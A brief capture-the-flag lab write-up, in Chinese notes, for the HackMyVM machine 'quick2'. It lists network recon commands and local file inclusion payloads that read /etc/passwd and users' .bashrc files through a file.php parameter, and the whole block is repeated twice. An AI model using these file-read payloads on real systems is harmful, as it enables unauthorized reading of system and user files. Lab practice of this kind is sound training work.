hackmyvm-quick2
收集信息
arp-scan -l
nmap 192.168.66.74
dirsearch -u http://192.168.66.74 -e *
访问file.php
尝试查看/etc/passwd
抓包
payload:
/file.php?file=/home/andrew/.bashrc
/file.php?file=/home/nick/.bashrc
arp-scan -l
nmap 192.168.66.74
dirsearch -u http://192.168.66.74 -e *
访问file.php
尝试查看/etc/passwd
抓包
payload:
/file.php?file=/home/andrew/.bashrc
/file.php?file=/home/nick/.bashrc